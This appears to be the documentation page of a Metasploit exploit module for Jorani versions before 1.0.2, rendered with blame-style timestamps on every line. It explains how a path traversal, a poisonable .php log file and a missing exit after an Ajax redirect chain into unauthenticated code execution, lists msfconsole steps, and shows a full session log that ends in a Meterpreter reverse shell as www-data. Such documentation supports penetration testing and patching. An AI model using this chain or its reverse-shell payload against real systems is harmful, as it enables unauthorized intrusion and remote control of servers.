2023-06-28 08:53:50 +02:00
|
|
|
## Vulnerable Application
|
|
|
|
|
|
2023-07-08 07:29:38 +02:00
|
|
|
Jorani prior to 1.0.2 allows unauthenticated users to execute arbitrary code.
|
2023-06-28 08:53:50 +02:00
|
|
|
|
2023-07-08 07:29:38 +02:00
|
|
|
This is due to a lack of sanitization on the language parameter, which can lead to the file inclusion of arbitrary ".php" files.
|
2023-06-28 08:53:50 +02:00
|
|
|
|
|
|
|
|
Moreover, the log file for jorani ends with ".php" in Jorani < 1.0.2.
|
|
|
|
|
|
2023-07-08 07:29:38 +02:00
|
|
|
Log poisoning is possible, an attacker can abuse this to store malicious data in the log file.
|
|
|
|
|
|
|
|
|
|
Data like '<?php ...;?>' can been added to the log file, then if this file is included by php, it will be executed.
|
2023-06-28 08:53:50 +02:00
|
|
|
|
|
|
|
|
Finally, the controller responsible for recovering a page doesn't properly redirect requests made by Ajax.
|
|
|
|
|
|
2023-07-08 07:29:38 +02:00
|
|
|
So the scripts will not stop after the redirection because an exit statement is missing.
|
|
|
|
|
|
|
|
|
|
Because of this, the attacker can make the script continue and reach the LFI vulnerability without being authenticated.
|
|
|
|
|
|
2023-10-10 14:46:18 -04:00
|
|
|
So by chaining these 3 vulnerabilities an unauthenticated user can execute arbitrary code on the application.
|
2023-06-28 08:53:50 +02:00
|
|
|
|
|
|
|
|
This module has been tested successfully on Jorani 1.0.0, Ubuntu 20.04 (x86_64) with kernel version 5.15.0-75.
|
|
|
|
|
|
2023-08-18 15:33:59 -04:00
|
|
|
### Installation Steps
|
|
|
|
|
For a step by step installation tutorial on Ubuntu please refer to [How to install Jorani](https://jorani.org/how-to-install-jorani.html)
|
|
|
|
|
|
2023-06-28 08:53:50 +02:00
|
|
|
## Verification Steps
|
|
|
|
|
1. Start `msfconsole`
|
|
|
|
|
2. `use exploit/multi/php/jorani_path_trav`
|
|
|
|
|
3. set `RHOSTS` and `RPORT`
|
|
|
|
|
4. Confirm the target is vulnerable: `check`. The result expected is `The target appears to be vulnerable.`
|
|
|
|
|
5. Default payload for the exploit will be `php/meterpreter/reverse_tcp`
|
|
|
|
|
6. set `LHOST`
|
|
|
|
|
7. `exploit`
|
2023-07-08 07:29:38 +02:00
|
|
|
8. Confirm you have now a cmd session as www-data
|
2023-06-28 08:53:50 +02:00
|
|
|
|
|
|
|
|
## Options
|
|
|
|
|
|
|
|
|
|
### TARGETURI (optional)
|
|
|
|
|
The path to the jorani website. By default it is empty.
|
|
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
|
2023-07-08 07:29:38 +02:00
|
|
|
```
|
2025-07-17 09:53:40 +01:00
|
|
|
msf exploit(multi/php/jorani_path_trav) > options
|
2023-07-08 07:29:38 +02:00
|
|
|
|
|
|
|
|
Module options (exploit/multi/php/jorani_path_trav):
|
|
|
|
|
|
|
|
|
|
Name Current Setting Required Description
|
|
|
|
|
---- --------------- -------- -----------
|
|
|
|
|
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
2023-08-18 15:33:59 -04:00
|
|
|
RHOSTS 172.16.199.158 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
2023-07-08 07:29:38 +02:00
|
|
|
RPORT 80 yes The target port (TCP)
|
2023-08-18 15:33:59 -04:00
|
|
|
SSL false no Negotiate SSL/TLS for outgoing connections
|
|
|
|
|
TARGETURI jorani yes The base path of Jorani
|
2023-07-08 07:29:38 +02:00
|
|
|
VHOST no HTTP server virtual host
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Payload options (php/meterpreter/reverse_tcp):
|
|
|
|
|
|
|
|
|
|
Name Current Setting Required Description
|
|
|
|
|
---- --------------- -------- -----------
|
2023-08-18 15:33:59 -04:00
|
|
|
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
|
|
|
|
|
LPORT 4444 yes The listen port
|
2023-07-08 07:29:38 +02:00
|
|
|
|
|
|
|
|
|
|
|
|
|
Exploit target:
|
|
|
|
|
|
|
|
|
|
Id Name
|
|
|
|
|
-- ----
|
|
|
|
|
0 Jorani < 1.0.2
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
View the full module info with the info, or info -d command.
|
|
|
|
|
|
2025-07-17 09:53:40 +01:00
|
|
|
msf exploit(multi/php/jorani_path_trav) > run
|
2023-06-28 08:53:50 +02:00
|
|
|
|
2023-08-18 15:33:59 -04:00
|
|
|
[*] Started reverse TCP handler on 172.16.199.1:4444
|
|
|
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
|
|
|
|
[*] Checking Jorani version
|
|
|
|
|
[+] Jorani seems to be running on the target!
|
|
|
|
|
[+] Found version: 1.0.0
|
|
|
|
|
[+] The target appears to be vulnerable.
|
2023-06-28 08:53:50 +02:00
|
|
|
[*] Trying to exploit LFI
|
|
|
|
|
[*] Recovering CSRF token
|
2023-08-18 15:33:59 -04:00
|
|
|
[+] CSRF found: be7e8205ad5f1fae2834478acdd0b546
|
|
|
|
|
[*] Poisoning log with payload..
|
2023-06-28 08:53:50 +02:00
|
|
|
[*] Sending 1st payload
|
2023-08-18 15:33:59 -04:00
|
|
|
[*] Including poisoned log file log-2023-08-18.php.
|
2023-06-28 08:53:50 +02:00
|
|
|
[+] Triggering payload
|
2023-08-18 15:33:59 -04:00
|
|
|
[*] Sending stage (39927 bytes) to 172.16.199.158
|
|
|
|
|
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.158:39624) at 2023-08-18 15:01:55 -0400
|
2023-06-28 08:53:50 +02:00
|
|
|
|
2023-08-18 15:33:59 -04:00
|
|
|
meterpreter > getuid
|
2023-06-28 08:53:50 +02:00
|
|
|
Server username: www-data
|
2023-08-18 15:33:59 -04:00
|
|
|
meterpreter > sysinfo
|
|
|
|
|
Computer : ubuntu
|
|
|
|
|
OS : Linux ubuntu 5.15.0-79-generic #86~20.04.2-Ubuntu SMP Mon Jul 17 23:27:17 UTC 2023 x86_64
|
|
|
|
|
Meterpreter : php/linux
|
|
|
|
|
meterpreter > exit
|
2023-06-28 08:53:50 +02:00
|
|
|
```
|
|
|
|
|
|